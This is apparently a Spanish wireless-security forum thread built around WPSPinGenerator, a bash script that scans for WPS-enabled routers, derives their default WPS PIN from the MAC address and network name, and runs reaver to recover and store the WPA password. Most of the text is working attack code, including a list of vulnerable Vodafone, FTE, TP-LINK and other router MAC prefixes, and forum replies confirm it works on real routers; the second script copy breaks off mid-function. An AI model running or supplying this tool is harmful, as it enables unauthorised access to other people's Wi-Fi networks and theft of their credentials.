ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS3=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS3=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS3=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS3=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS3=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS3=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS3=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
if [ "$CHECKESSID" = "FTE" ];
then
FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`
PIN=`expr 10 '*' $STRING4`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
if [ $PIN -lt 10000000 ] ; then
PINWPS4=0$PIN
if [ $PIN -lt 1000000 ] ; then
PINWPS4=00$PIN
if [ $PIN -lt 100000 ] ; then
PINWPS4=000$PIN
if [ $PIN -lt 10000 ] ; then
PINWPS4=0000$PIN
if [ $PIN -lt 1000 ] ; then
PINWPS4=00000$PIN
if [ $PIN -lt 100 ] ; then
PINWPS4=000000$PIN
if [ $PIN -lt 10 ] ; then
PINWPS4=0000000$PIN
fi
fi
fi
fi
fi
fi
fi
fi
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSchanel[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture.$$
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al menu"
read junk
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC SOPORTADA? PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
ESSID=${WPSessid[$countWPS]}
BSSID=${WPSbssid[$countWPS]}
PWR=${PWR[$countWPS]}
Chanel=${WPSchanel[$countWPS]}
MAC_Recortada=$(echo "$BSSID"|rev|cut -d: -f4-|rev)
if [ "$(echo "$MACs_Soportadas"|grep $MAC_Recortada)" != "" ]; then
ESSID_Soportado=$(echo "$MACs_Soportadas"|grep $MAC_Recortada|awk '{print $1}')
ESSID_Recortado=$(echo "$ESSID_Soportado"|tr -d '?')
if [ "$(echo "$ESSID"|grep "^$ESSID_Recortado")" != "" ] && [ "${#ESSID_Soportado}" = "${#ESSID}" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="[1;32m¿?[0m"
fi
else
SOPORTADA="NO"
fi
echo " $countWPS) $BSSID $SOPORTADA $PWR $Chanel $ESSID"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANEL=${WPSchanel[$WPSoption]}
clear
else
echo " Opcion no valida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
interval=$sec_rem
seconds=`expr $interval % 60`
interval=`expr $interval - $seconds`
sleep 1
clear
echo "[1;33mEscaneando en busca de objetivos... [1;36m$seconds[0m [1;33msegundos[0m"
echo ""
cat $TMP/wash_capture.$$
if [ ! -e /proc/$WashPID ]; then
sleep 1
break
fi
done
SeleccionarObjetivo
}
auto_select_monitor() {
#! /bin/bash
#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar en modo monitor
#############################################################################################################
#poner tarjeta en modo monitor AUTOMATICO
clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
rm -rf $TEMP/wireless.txt
if [ "$tarj1" = "" ]; then
clear
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo " Pulsa ENTER para volver al menu"
read yn
menu
fi
if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi
tarjselec=$tarj1
if [ "$tarj2" != "" ] ;then
echo
echo
echo " Se han encontrado las siguientes tarjetas wifi en este equipo"
echo
airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
{ printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
echo " selecciona una para utilizarla en modo monitor"
echo
tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
break;
done
if [ "$tarjselec" = "" ]; then
echo " La opcion seleccionada no es valida"
echo " Introduce una opcion valida..."
selectarj
fi
}
if [ "$tarjselec" = "" ]; then
selectarj
fi
echo ""
echo "Interface seleccionado: $tarjselec"
fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo " Se está montando la tarjeta en modo monitor"
echo ""
sleep 1
#limpieza interface
ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null
airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"
echo ""
echo " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}
ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
PIN=$PINWPS4
else
PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANEL -p $PIN -v -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 25 && kill $ReaverPID &>/dev/null &
while true; do
sleep 1
clear
echo "[1;33mObteniendo clave WPA...[0m"
echo ""
cat $TMP/reaver_capture.$$
if [ ! -e /proc/$ReaverPID ]; then
sleep 1
break
fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
echo "[1;31mNo ha sido posible obtener la clave WPA[0m"
ShowWPA="OFF"
else
WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
echo "ESSID: $ESSID" > $TMP/$WPA_TXT
echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
ShowWPA="ON"
echo "[1;31mLa clave ha sido guardada en \"$KEYS/$WPA_TXT\"[0m"
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}
#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
echo ""
echo ""
echo " ####################################################################"
echo " ### ###"
echo " ### ¿ quiere desnontar la tarjeta antes de salir? ###"
echo " ### ###"
echo " ### (n) no -> Salir sin desmontar ###"
echo " ### (m) Menú -> Volver al menú principal ###"
echo " ### ENTER -> Desmontar y Salir ###"
echo " ### ###"
echo " ### ###"
echo " ####################################################################"
echo ""
echo ""
read salida
set -- ${salida}
if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
echo ""
echo " Hasta Pronto..."
sleep 2
clear
exit
}
menu() {
# Bienvenida
clear
echo "[0;31m
__ __ ___ _
/ / /\ \ \____ ___ / _ (_)_ __
\ \/ \/ / _ \/ __| / /_)/ | /_ \
\ /\ /| |_) \__ \ / ___/| | | | |
\/ \/ | __/|___/ \/ |_|_| |_| [1;33mGenerator $VERSION[0;31m
|_| "
echo ""
echo " ****************************************************"
echo " * [1;32m<<[0m Based on ZhaoChunsheng work & kcdtv script [1;32m>>[0;31m *"
echo " ****************************************************[0m "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
echo "INFO AP OBJETIVO"
echo ""
echo " ESSID = $ESSID"
echo " Canal = $CHANEL"
echo " MAC del AP = $BSSID"
if [ "$CHECKESSID" = "FTE" ]; then
echo " Posible pin WPS = $PINWPS4"
else
echo " Posible pin WPS = $PINWPS1"
fi
if [ "$ShowWPA" = "ON" ]; then
echo " Clave WPA = $WPA_KEY"
fi
echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
1 ) WashScan;;
2 ) ObtenerWPA;;
3 ) SeleccionarObjetivo;;
0 ) DESMONTAR_tarj_y_salir;;
* ) echo "Opción incorrecta"; menu;;
esac
}
# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
echo -e '\e[1;31m
¡¡¡ Debes ser root para ejecutar este script !!!
Prueba: sudo $0
\e[0m'
exit 1
fi
# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
fi
fi
# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
for monx in $interfaces; do
airmon-ng stop $monx >/dev/null 2>&1
done
fi
menu
-
Bonito regalo de reyes. >:( >:( >:(
Muchas gracias campeon.
-
Hola! quisiera hacer un mod de este script de tal forma que al pasarle una BSSID y un ESSID me devuelva un PIN. Todo ello con intención de implementar el algoritmo en goyscriptWPS. Pero antes quisiera pedirle permiso al autor de dicho script (por educación y para evitar malos rollos...), sin embargo, no sé a quién dirigirme ya que en el código no se indica quién es el autor, simplemente que está basado en otros scripts... quién es realmente el autor de WPSPinGenerator? ???
-
Hola! quisiera hacer un mod de este script de tal forma que al pasarle una BSSID y un ESSID me devuelva un PIN. Todo ello con intención de implementar el algoritmo en goyscriptWPS. Pero antes quisiera pedirle permiso al autor de dicho script (por educación y para evitar malos rollos...), sin embargo, no sé a quién dirigirme ya que en el código no se indica quién es el autor, simplemente que está basado en otros scripts... quién es realmente el autor de WPSPinGenerator? ???
wpspingenerator , es nuestro ...basandonos EN EL ALGORITMO , del chino para generar los pines.
osea
algoritmo del chino ...y nosotros hicimos el script , de modo que nos resultase comodo.
por mi parte no hay problema en que te hagas un mod , para tu suite,.
Particularmente , mi mentalidad con respecto a linux es ....( si no es algo de apgo y por ende con copyright ) , NO ES DE NADIE.
por ejemplo el que estamos hablando ...wpspingenerator lleva trozos de varios scripts diferentes, de los que aprovechemos las partes que necesitabamos a modo de funcion.
-
Ok. Muchas gracias.
Aprovecho para deciros que lo he probado con dos AP cuyo BSSID comenzaba por 6A:C0:6F y el ESSID es vodafoneXXXX y funciona perfectamente
Enviado desde mi GT-I9300 usando Tapatalk 2
-
Por mi parte tampoco hay ningún problema con que modifiques el script o que añadas el código a tus scripts, coincido totalmente con USUARIONUEVO en su definición de lo que significa Linux.
En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx, lo que pasa es que solo se han puesto como compatible las MACs que han sido comprobadas.
-
En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx
siento disentir, no es compatible con todas las mac vodafone :-\
-
En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx
siento disentir, no es compatible con todas las mac vodafone :-\
Estas seguro que en router en el que lo has probado no ha sido cambiado el pin por defecto?
Si es así, porfabor dime la MAC, para hacer las pruebas, por mis manos pasan bastantes routers de ssid vodafoneXXXX, y en todos los que he probado el pin generado era el correcto.
-
ojo , que hay Vodafone , con V mayuscula.
-
ojo , que hay Vodafone , con V mayuscula.
Las que probé yo son con minúscula
Enviado desde mi Nexus 10 usando Tapatalk 2
-
donde puedo descargarlo
-
Por lo que veo eta es la versión 1.7 del script, mientras que la última versión del wifiway trae la 1.22
Si quiero tener la versión 1.22 (que supongo que traerá alguna MAC más) ¿la única forma es con wifiway? ¿no soléis actualizar este post con el código de la última versión?
Muchas gracias
-
Por lo que veo eta es la versión 1.7 del script, mientras que la última versión del wifiway trae la 1.22
Si quiero tener la versión 1.22 (que supongo que traerá alguna MAC más) ¿la única forma es con wifiway? ¿no soléis actualizar este post con el código de la última versión?
Muchas gracias
sácalo de wifiway. es simplemente un script en bash. puede funcionar allá donde lo lleves, siempre que sea un sistema linux con una versión de bash decente
-
sácalo de wifiway. es simplemente un script en bash. puede funcionar allá donde lo lleves, siempre que sea un sistema linux con una versión de bash decente
Sí, si eso lo entiendo perfectamente, pero entonces cada vez que hay una actulización me tengo que descargar la iso de wifiway, descomprimirla y sacar el código, pero bueno, eso haré.
Muchas gracias
-
Hola
Me extraña que en wifiway este esa version. Creo que ni esta osea que fíjate.
Cuanto se saca una nueva versión se hace el modulo, por tanto es solo copiarlo a la carpeta modules y ya esta así cargara la nueva versión.
Saludos
-
El hilo , se abrio al comienzo de escribir decha herramienta , por que se toqueteo bastante hasta que la dejemos al gusto de todos.
Las funciones y demas son las mismas siempre, solo se amplia el listado de macs , nada mas.
en wifiway ni siquiera puede existir esta herramienta , a menos que la tengais en un modulo xzm.
Cada 3 o 4 meses ( a veces menos ) , se publica una nueva wifislax , asi que la verdad es que se abandono un poco esto , el ultimo que yo veo en este post en
version=
veo que pone 1.10
yo tengo 1.23 , no se si wifislax-4.6 lleva la 1.22 o la 1.23 , pero en realidad el cambio fue añadir 2 o 3 macs.
te pego el code de la 1.23
#!/bin/bash
# www.seguridadwireless.net
#
# Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
# y prueba del PIN calculado (reaver)
#######################################
############# CHANGELOG #############
#######################################
# 19/07/2013 VERSION 1.23
# - Añadida opción de iniciar ataque de fuerza bruta con reaver en caso de no conseguir la clave con el PIN calculado
# - Eliminada opción de escanear en 5GHZ (ninguno de los routers de los que se puede obtener el pin por defecto emite en esa frecuencia)
# - Eliminada la opción de mostrar mas información mientras que se prueba el pin con reaver, ahora siempre muestra la información (es inútil no mostrarla, ya que si no ves lo que está pasando no sabes si el PIN es incorrecto o si no se obtiene la clave por que no se consigue asociar con el AP)
# - Ya no se eliminan las capturas anteriores al inizar el script, así evitamos tener que volver a escanear obligatoriamente en cada inicio.
# 12/06/2013 VERSION 1.22 Se añade 1 mac vodafoneXXXX
# 31/05/2013 VERSION 1.21 Se añaden 6 nuevos routers soportados
# 29/05/2013 VERSION 1.20 Se incorpora code para levantar interfaces y asegurar el funcionamiento de las ralink ademas del parametro -a en el ataque.
# 22/03/2013 VERSION 1.19 Se añaden 2 macs TP-LINK
# 01/03/2013 VERSION 1.18 Se rescata compatibilidad vodafone 62:53:D4 eliminada por error y se añade una nueva vodafone 62:6B:D3 ( mac nueva 2013 )
# 23/02/2013 VERSION 1.17 Se añadi soprte a un router FTE-XXXX ,un vodafonexxxx ,y se cambian los tres ??? por Tenda y los Zyxel por WLAN_????
# 14/02/2013 VERSION 1.16 Se añade soporte a router Inves -->> 00:1D:1A
#######################################
#######################################
# Levantar interfaces para que las ralink funcionene en reaver
IW="$(iwconfig 2>/dev/null|cut -d" " -f1|grep -v "^$")"
IF="$(ifconfig|cut -d" " -f1)"
for x in $IW; do
if [ ! "$(echo "$IF"|grep -x "$x")" ]; then
ifconfig $x up &>/dev/null
fi
done
# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.23"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"
MACs_Soportadas='
ESSID BSSID
-------- --------
FTE-???? 04:C0:6F
FTE-???? 20:2B:C1
FTE-???? 28:5F:DB
FTE-???? 34:6B:D3
FTE-???? 80:B6:86
FTE-???? 84:A8:E4
FTE-???? B4:74:9F
FTE-???? BC:76:70
FTE-???? CC:96:A0
FTE-???? F8:3D:FF
vodafone???? 5C:4C:A9
vodafone???? 62:A8:E4
vodafone???? 62:B6:86
vodafone???? 62:C0:6F
vodafone???? 62:C6:1F
vodafone???? 62:C7:14
vodafone???? 62:E8:7B
vodafone???? 62:23:3D
vodafone???? 62:3C:E4
vodafone???? 62:3D:FF
vodafone???? 62:53:D4
vodafone???? 62:55:9C
vodafone???? 62:6B:D3
vodafone???? 62:7D:5E
vodafone???? 6A:1D:67
vodafone???? 6A:23:3D
vodafone???? 6A:3D:FF
vodafone???? 6A:53:D4
vodafone???? 6A:55:9C
vodafone???? 6A:6B:D3
vodafone???? 6A:7D:5E
vodafone???? 6A:A8:E4
vodafone???? 6A:C0:6F
vodafone???? 6A:C6:1F
vodafone???? 6A:C7:14
vodafone???? 6A:D1:5E
vodafone???? 6A:D1:67
vodafone???? 72:A8:E4
vodafone???? 72:C0:6F
vodafone???? 72:C7:14
vodafone???? 72:D1:5E
vodafone???? 72:E8:7B
vodafone???? 72:1D:67
vodafone???? 72:3C:E4
vodafone???? 72:3D:FF
vodafone???? 72:53:D4
vodafone???? 72:55:9C
vodafone???? 72:6B:D3
vodafone???? 72:7D:5E
Belkin_N+_?????? 00:22:75
belkin.??? 08:86:3B
belkin.??? 00:1C:DF
WLAN_???? 00:A0:26
WLAN_???? 50:57:F0
WLAN_?? 00:A0:B6
Jazztel_?? C8:D1:5E
SEC_ LinkShare_?????? E4:7C:F9
SEC_ LinkShare_?????? 80:1F:02
C300BRS4A 00:22:F7
Inves 00:1D:1A
Tenda C8:3A:35
Tenda 00:B0:0C
Tenda 08:10:75
TP-LINK_?????? 64:70:02
TP-LINK_?????? 90:F6:52
TP-LINK_?????? B0:48:7A
TP-LINK_?????? F8:D1:11
Default 00:1F:1F
Default 00:26:CE
???? 00:15:77
'
# Algoritmos del script WPSPIN
#Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
function wps_pin_checksum() {
acum=0
PIN_p2=0
while [ $pin -gt 0 ]; do
acum=$(($acum + (3 * ($pin % 10))))
pin=$(($pin / 10))
acum=$(($acum + ($pin % 10)))
pin=$(($pin / 10))
done
result=$(((10 - ($acum % 10)) % 10))
PIN_p2=$(($result % 10000000))
}
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
#DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
#CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
#segunda parte de bssid xx:xx:xx:XX:XX:XX
BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)
#6 últimos dígitos de bssid sin ':'
MAC=$(echo $BSSID_p2 | tr -d ':')
#MAC = 6 últimos dígitos hex de la mac
hex=$(echo -n $MAC | tr [:lower:] [:upper:]) #minúsculas a mayúsculas
#PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
PIN_p1=$(echo "ibase=16; $hex"|bc) #convertir hex a decimal
#PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma
PIN_p1a=$(($PIN_p1 % 10000000)) # elimina dígito más significativo de PIN_p1
#PIN_p1b=$((($PIN_p1 % 10000000)+8)) # elimina dígito más significativo y suma 8
#PIN_p1c=$((($PIN_p1 % 10000000)+14))
pin=$PIN_p1a
wps_pin_checksum
PINWPS1=$(printf "%07d%d" "$PIN_p1a" "$PIN_p2")
#pin=$PIN_p1b
#wps_pin_checksum
#PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")
#pin=$PIN_p1c
#wps_pin_checksum
#PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")
if [ "$CHECKESSID" = "FTE" ];
then
#FIN_ESSID=XXXX <- FTE-XXXX
FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)
#nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
PAR=$(echo $PAR | tr -d ':')
#hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
hex=$(echo $PAR$FIN_ESSID)
MAC=$(printf '%d' 0x$hex) #hex to dec
PIN_p1=$((($MAC % 10000000)+7)) # elimina dígito más significativo de MAC y +7
pin=$PIN_p1
wps_pin_checksum
PINWPS4=$(printf "%07d%d" "$PIN_p1" "$PIN_p2")
fi
}
# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
ETH=$(ip route|awk '/default/ {print $5}')
HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
if [ "$HW_ETH" = "$HW_WIFI" ];then
echo
echo "[0;31mPara evitar errores, la interface \"$ETH\" no debe estar conectada a internet! [0m"
echo ""
echo "Presiona enter para volver al Menú"
read junk
menu
fi
fi
}
# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
longueur=${#BSSID}
if [ $longueur -eq 17 ] ; then
i=$(($i+1))
WPSbssid[$i]=$BSSID
WPSCHANNEL[$i]=$Channel
WPSessid[$i]=$ESSID
PWR[$i]=$RSSI
fi
redesWPS=$i
done < $TMP/wash_capture
if [ "$redesWPS" = "0" ];then
clear
echo ""
echo ""
echo " * * * A T E N C I O N * * * "
echo ""
echo " No se ha encontrado ninguna RED "
echo " con WPS activado en la captura"
echo ""
echo " Pulsa INTRO para volver al Menú"
read junk
InfoAP="OFF"
menu
else
clear
echo ""
echo " [1;32mLas siguientes redes son susceptibles de ataque con REAVER[0m"
echo ""
echo " MAC Soportada PWR Channel ESSID"
echo ""
countWPS=0
while [ 1 -le $i ]; do
countWPS=$(($countWPS+1))
ESSID=${WPSessid[$countWPS]}
BSSID=${WPSbssid[$countWPS]}
PWR=${PWR[$countWPS]}
CHANNEL=${WPSCHANNEL[$countWPS]}
MAC_Recortada=$(echo "$BSSID"|rev|cut -d: -f4-|rev)
if [ "$(echo "$MACs_Soportadas"|grep $MAC_Recortada)" != "" ]; then
ESSID_Soportado=$(echo "$MACs_Soportadas"|grep $MAC_Recortada|awk '{print $1}')
ESSID_Recortado=$(echo "$ESSID_Soportado"|tr -d '?')
if [ "$(echo "$ESSID"|grep "^$ESSID_Recortado")" != "" ] && [ "${#ESSID_Soportado}" = "${#ESSID}" ]; then
SOPORTADA="[1;32mSI[0m"
else
SOPORTADA="[1;33m¿?[0m"
fi
else
SOPORTADA="NO"
fi
echo " $countWPS) $BSSID $SOPORTADA $PWR $CHANNEL $ESSID"
i=$(($i-1))
done
i=$redesWPS
echo ""
echo " 0) Para volver al menu "
echo ""
echo ""
echo " --> [1;36mSeleccione una red[0m"
read WPSoption
set -- ${WPSoption}
if [ $WPSoption -le $redesWPS ]; then
if [ "$WPSoption" = "0" ];then
menu
fi
ESSID=${WPSessid[$WPSoption]}
BSSID=${WPSbssid[$WPSoption]}
CHANNEL=${WPSCHANNEL[$WPSoption]}
clear
else
echo " Opción no válida... vuelva a elegir"
sleep 2
SeleccionarObjetivo
fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}
# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
echo ""
echo " [1;33m--> [1;32mIntroduce en segundos el tiempo de espera para escanear (30 por defecto): [0m"
read SCANTIME
if [ "$SCANTIME" != "" ] && [ "$(echo $SCANTIME|grep -i [a-z])" = "" ]; then
$@
else
SCANTIME=30
fi
echo ""
echo " [1;33m--> [1;32mIntroduce número de canal a escanear [1-14] (Todos por defecto): [0m"
read SCANCHANNEL
if [ "$SCANCHANNEL" != "" ] && [ "$(echo $SCANCHANNEL|grep -i [a-z])" = "" ]; then
SCANCHANNEL="-c $SCANCHANNEL"
else
SCANCHANNEL=""
fi
echo ""
